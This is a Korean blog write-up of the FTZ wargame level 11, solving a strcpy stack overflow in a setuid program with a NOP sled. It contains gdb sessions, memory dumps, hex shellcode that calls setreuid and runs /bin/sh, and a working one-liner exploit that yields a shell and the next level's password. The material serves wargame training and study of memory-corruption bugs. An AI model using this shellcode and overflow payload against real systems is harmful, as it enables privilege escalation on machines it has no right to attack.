FTZ Level11 #2 ( Nop Sled )
문제
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
FTZ level 11의 소스코드이다. 이 소스코드에서 취약한 점을 발견하여 상위권한( level 12 )을 얻어 비밀번호를 알아내야 한다.
취약점
int main( int argc, char *argv[] )
{
char str[256];
#setreuid( 3092, 3092 );
strcpy( str, argv[1] );
#printf( str );
}
- 인자 입력은 argv로 받는다. 또한 길이의 제한은 없다.
- str 의 크기는 256이다.
- strcpy() 함수를 통해 argv에서 입력받은 인자를 str로 가져온다. 정해진 최대 바이트는 없다.
따라서 argv에서 인자 입력을 할 때 256byte 이상의 문자열을 입력하면 str의 버퍼 크기를 넘어 메모리를 덮어씌울 수 있다.
공격 시나리오
level11은 취약한 부분이 많아서 다양한 공격을 할 수 있는 레벨이다.
- 환경 변수를 이용한 공격
- Nop Sled 기법을 이용한 공격 <- 이번 포스팅
- RTL 기법을 이용한 공격
- Chanining RTL 기법을 이용한 공격
- FSB ( Format String Bug )를 이용한 공격
Nop Sled
우선 어셈블리어로 Nop이란 아무것도 하지 않고 다음 명령어를 실행하는 명령어이다.
따라서 nop이라는 명령어를 메모리에 깔아두고 아무 동작도 하지 않고 쭉 실행시키다가 쉘 코드를 만나 실행시키도록 유도하는 것이다.
0012F5D5 90 NOP # 메모리를 nop명령어("\x90")로 덮어둠
0012F5D6 90 NOP
0012F5D7 90 NOP
0012F5D8 90 NOP
0012F5D9 90 NOP
0012F5DA 90 NOP
0012F5DB 90 NOP
0012F5DC 90 NOP
0012F5DD 90 NOP
0012F5DE 90 NOP
0012F5DF 90 NOP
0012F5E0 90 NOP
0012F5E1 90 NOP
0012F5E2 90 NOP
0012F5E3 90 NOP
0012F5E4 31D2 XOR EDX,EDX # shellcode 시작
0012F5E6 B2 30 MOV DL,30
0012F5E8 64:8B12 MOV EDX,DWORD PTR FS:[EDX]
0012F5EB 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
0012F5EE 8B52 1C MOV EDX,DWORD PTR DS:[EDX+1C]
0012F5F1 8B42 08 MOV EAX,DWORD PTR DS:[EDX+8]
0012F5F4 8B72 20 MOV ESI,DWORD PTR DS:[EDX+20]
0012F5F7 8B12 MOV EDX,DWORD PTR DS:[EDX]
0012F5F9 807E 0C 33 CMP BYTE PTR DS:[ESI+C],33
0012F5FD ^75 F2 JNZ SHORT 0012F5F1
0012F5FF 89C7 MOV EDI,EAX
0012F601 0378 3C ADD EDI,DWORD PTR DS:[EAX+3C]
0012F604 8B57 78 MOV EDX,DWORD PTR DS:[EDI+78]
0012F607 01C2 ADD EDX,EAX
0012F609 8B7A 20 MOV EDI,DWORD PTR DS:[EDX+20]
0012F60C 01C7 ADD EDI,EAX
0012F60E 31ED XOR EBP,EBP
0012F610 8B34AF MOV ESI,DWORD PTR DS:[EDI+EBP*4]
0012F613 01C6 ADD ESI,EAX
0012F615 45 INC EBP
0012F616 813E 46617461 CMP DWORD PTR DS:[ESI],61746146
0012F61C ^75 F2 JNZ SHORT 0012F610
0012F61E 817E 08 45786974 CMP DWORD PTR DS:[ESI+8],74697845
0012F625 ^75 E9 JNZ SHORT 0012F610
0012F627 8B7A 24 MOV EDI,DWORD PTR DS:[EDX+24]
0012F62A 01C7 ADD EDI,EAX
0012F62C 66:8B2C6F MOV BP,WORD PTR DS:[EDI+EBP*2]
0012F630 8B7A 1C MOV EDI,DWORD PTR DS:[EDX+1C]
0012F633 01C7 ADD EDI,EAX
0012F635 8B7CAF FC MOV EDI,DWORD PTR DS:[EDI+EBP*4-4]
0012F639 01C7 ADD EDI,EAX
0012F63B 68 50212101 PUSH 1212150
0012F640 68 6C6F5343 PUSH 43536F6C
0012F645 68 2048656C PUSH 6C654820
0012F64A 89E1 MOV ECX,ESP
0012F64C FE49 0B DEC BYTE PTR DS:[ECX+B]
0012F64F 31C0 XOR EAX,EAX
0012F651 51 PUSH ECX
0012F652 50 PUSH EAX
0012F653 FFD7 CALL EDI #shellcode 실행
대충 디버거로 뜯어보자면 이런 느낌일 것이다. 위 어셈블리 코드는 윈도우 시스템 해킹 가이드 책에 있는 DirectEIP에 익스 코드가 NOP을 끼워둔 익스 코드라서 가져와봤다. ( 앞에 nop이 너무 많아서 좀 잘랐다. )
대충 그림으로 표현하면 이런 느낌이지 않을까? ( 그림속 상자 색에는 의미가 없다.... 그냥 구분하는 용도로만 사용한 것 )
풀이
환경 변수 시간에 분석을 했으니 분석하는 부분은 넘어가도록 하겠다.
대충 이번시간에는 이런 시나리오라고 생각하면 될 것 같다.
그럼 ebp-264의 주소를 알아보러 가보자.
[level11@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
(gdb) b*main
Breakpoint 1 at 0x8048470
(gdb) b*main+65
Breakpoint 2 at 0x80484b1
(gdb) r `python -c "print 'A'*256"`
Starting program: /home/level11/tmp/attackme `python -c "print 'A'*256"`
Breakpoint 1, 0x08048470 in main ()
(gdb) x/100x $ebp-264
0xbfffe580: 0x4200b894 0x400160b0 0x00000000 0x00000000
0xbfffe590: 0x00000000 0x00000000 0x00000000 0x4000807f
0xbfffe5a0: 0x4001582c 0x00001f1f 0xbfffe5d0 0xbfffe5fc
0xbfffe5b0: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e
0xbfffe5c0: 0x4000807f 0x4001582c 0x0000005b 0x40015a38
0xbfffe5d0: 0xbfffe620 0x4000be03 0x40015bd4 0x40016380
0xbfffe5e0: 0x00000001 0x00000000 0x4200dba3 0x420069e4
0xbfffe5f0: 0x42130a14 0xbffffab3 0xbfffe6b4 0xbfffe634
0xbfffe600: 0x4000bcc0 0x08049620 0x00000001 0x0804824b
0xbfffe610: 0x4210fd3c 0x42130a14 0xbfffe638 0x4210fdf6
0xbfffe620: 0x08049538 0x0804963c 0x00000000 0x00000000
0xbfffe630: 0x4210fdc0 0x42130a14 0xbfffe658 0x08048451
0xbfffe640: 0x08049538 0x0804963c 0x4001582c 0x0804839e
0xbfffe650: 0x080482e4 0x42130a14 0xbfffe668 0x080482fa
0xbfffe660: 0x4200af84 0x42130a14 0xbfffe688 0x42015574
0xbfffe670: 0x00000002 0xbfffe6b4 0xbfffe6c0 0x4001582c
0xbfffe680: 0x00000002 0x08048370 0x00000000 0x08048391
0xbfffe690: 0x08048470 0x00000002 0xbfffe6b4 0x080482e4
0xbfffe6a0: 0x08048500 0x4000c660 0xbfffe6ac 0x00000000
0xbfffe6b0: 0x00000002 0xbffffab3 0xbfffface 0x00000000
0xbfffe6c0: 0xbffffbcf 0xbffffbed 0xbffffc21 0xbffffc31
0xbfffe6d0: 0xbffffc3c 0xbffffc4a 0xbffffc6c 0xbffffc7f
0xbfffe6e0: 0xbffffc8c 0xbffffe4f 0xbffffe92 0xbffffeaf
0xbfffe6f0: 0xbffffec5 0xbffffeda 0xbffffeeb 0xbffffefc
0xbfffe700: 0xbfffff0f 0xbfffff17 0xbfffff36 0xbfffff46
(gdb) cont
Continuing.
Breakpoint 2, 0x080484b1 in main ()
(gdb) x/100x $ebp-264
0xbfffe560: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe570: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe580: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe590: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe600: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe610: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe620: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe630: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe640: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe650: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe660: 0x4200af00 0x42130a14 0xbfffe688 0x42015574
0xbfffe670: 0x00000002 0xbfffe6b4 0xbfffe6c0 0x4001582c
0xbfffe680: 0x00000002 0x08048370 0x00000000 0x08048391
0xbfffe690: 0x08048470 0x00000002 0xbfffe6b4 0x080482e4
0xbfffe6a0: 0x08048500 0x4000c660 0xbfffe6ac 0x00000000
0xbfffe6b0: 0x00000002 0xbffffab3 0xbfffface 0x00000000
0xbfffe6c0: 0xbffffbcf 0xbffffbed 0xbffffc21 0xbffffc31
0xbfffe6d0: 0xbffffc3c 0xbffffc4a 0xbffffc6c 0xbffffc7f
0xbfffe6e0: 0xbffffc8c 0xbffffe4f 0xbffffe92 0xbffffeaf
(gdb)
main에서 bp를 걸어주고 strcpy를 거친 후 bp를 한번 더 걸고 ebp-264의 위치를 찾으면
다음과 같이 0xbfffe560에 A가 채워지는 것을 알 수 있다.
그럼 이제 익스 코드를 짜보자
참고로 nop은 shellcode의 길이를 빼준 만큼 넣어줘야 한다.
<shellCode>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
쉘 코드는 저번에 사용한 것을 그대로 사용할 것이며 264에서 shellcode의 길이를 뺀 값은 227byte이다.
[level11@ftz tmp]$ ./attackme `python -c 'print "A"*227+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xe5\xff\xbf"'`
Segmentation fault
str 버퍼의 크기를 조져서 어떻게 해보려 했지만 실패했다. 실패할 것은 알고 있었으나 왜? 왜 안돼?라는 질문을 던지며 계속 이유를 찾기 위해 삽질을 했다. 다른 사람의 블로그에 분석한 글이 쓰여 있었으나 이해하지 못하고 결국... 삽질한 뒤에 글을 이해할 수 있었다(ㅠㅠ).
str의 버퍼를 아무리 조져봤자 str은 복사를 한 뒤 링크를 끊는 건지 데이터를 덮는 건지 아무튼 ebp-264에 접근할 수 없게 되어 쉘 코드를 진행할 수 없었다.
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*227+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xe0\xff\xbf"'`
Breakpoint 1, 0x08048470 in main ()
(gdb) continue
Continuing.
Breakpoint 2, 0x080484b7 in main ()
(gdb) x/100x $ebp-264
0xbfffe4d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe4f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe500: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe510: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe520: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe530: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe540: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe550: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe560: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe570: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe580: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe590: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe5b0: 0x31414141 0xcd31b0c0 0x89c38980 0xb0c031c1
0xbfffe5c0: 0x3180cd46 0x2f6850c0 0x6868732f 0x6e69622f
0xbfffe5d0: 0x5350e389 0xd231e189 0x80cd0bb0 0xbfffe060
0xbfffe5e0: 0x00000000 0xbfffe624 0xbfffe630 0x4001582c
0xbfffe5f0: 0x00000002 0x08048370 0x00000000 0x08048391
0xbfffe600: 0x08048470 0x00000002 0xbfffe624 0x080482e4
0xbfffe610: 0x08048500 0x4000c660 0xbfffe61c 0x00000000
0xbfffe620: 0x00000002 0xbffffaa3 0xbffffabe 0x00000000
0xbfffe630: 0xbffffbcf 0xbffffbed 0xbffffc21 0xbffffc31
0xbfffe640: 0xbffffc3c 0xbffffc4a 0xbffffc6c 0xbffffc7f
0xbfffe650: 0xbffffc8c 0xbffffe4f 0xbffffe92 0xbffffeaf
(gdb) continue
Continuing.
Breakpoint 3, 0x080484bb in main ()
(gdb) x/100x $ebp-264
0x80cd0aa8: Cannot access memory at address 0x80cd0aa8
(gdb) x/100x $ebp-264
0x80cd0aa8: Cannot access memory at address 0x80cd0aa8
(gdb) x/100x $ebp-264
0x80cd0aa8: Cannot access memory at address 0x80cd0aa8
위 코드를 보면 알 수 있듯이 접근을 할 수 없었다.
그럼 남들은 어떻게 풀었냐?
str에 접근한 것이 아닌 argv [1] 인자에서 입력받았을 때 사용한 버퍼에 접근하여 공격을 성공시켰다.
따라서 str에 접근하는 것이 아닌 입력받을 때 argv의 버퍼가 어디인지를 알아내야 할 것 같다.
[level11@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) b*main
Breakpoint 1 at 0x8048470
(gdb) r `python -c "print 'A'*256"`
Starting program: /home/level11/tmp/attackme `python -c "print 'A'*256"`
Breakpoint 1, 0x08048470 in main ()
(gdb) x/2000x $esp
0xbfffdcec: 0x42015574 0x00000002 0xbfffdd34 0xbfffdd40
0xbfffdcfc: 0x4001582c 0x00000002 0x08048370 0x00000000
0xbfffdd0c: 0x08048391 0x08048470 0x00000002 0xbfffdd34
0xbfffdd1c: 0x080482e4 0x08048500 0x4000c660 0xbfffdd2c
0xbfffdd2c: 0x00000000 0x00000002 0xbffffab3 0xbfffface
0xbfffdd3c: 0x00000000 0xbffffbcf 0xbffffbed 0xbffffc21
0xbfffdd4c: 0xbffffc31 0xbffffc3c 0xbffffc4a 0xbffffc6c
0xbfffdd5c: 0xbffffc7f 0xbffffc8c 0xbffffe4f 0xbffffe92
--- 중략 ---
---Type <return> to continue, or q <return> to quit---
0xbffffa4c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa5c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa6c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa9c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffaac: 0x36690000 0x2f003638 0x656d6f68 0x76656c2f
0xbffffabc: 0x31316c65 0x706d742f 0x7474612f 0x6d6b6361
0xbffffacc: 0x41410065 0x41414141 0x41414141 0x41414141
0xbffffadc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaec: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffafc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb0c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb1c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb2c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb3c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb4c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb5c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb6c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb7c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb8c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbbc: 0x41414141 0x41414141 0x41414141 0x41414141
main에 bp를 건 뒤 A를 넣어 실행시키고 esp에서부터 쭉 내려오면 다음과 같이 A가 들어있는 위치를 찾을 수 있다. 이 위치가 argv에서 입력받은 버퍼의 위치이니 이 곳에 주소로 점프하여 쉘 코드를 실행시키면 될 것 같다. 나의 경우에는 0 xbfffface로 점프를 시키면 될 것 같다.
[level11@ftz level11]$ ./attackme `python -c "print '\x90'*227 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\xce\xfa\xff\xbf'"`
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "비밀번호패스워드".
sh-2.05b$
다음은 RTL이려나...?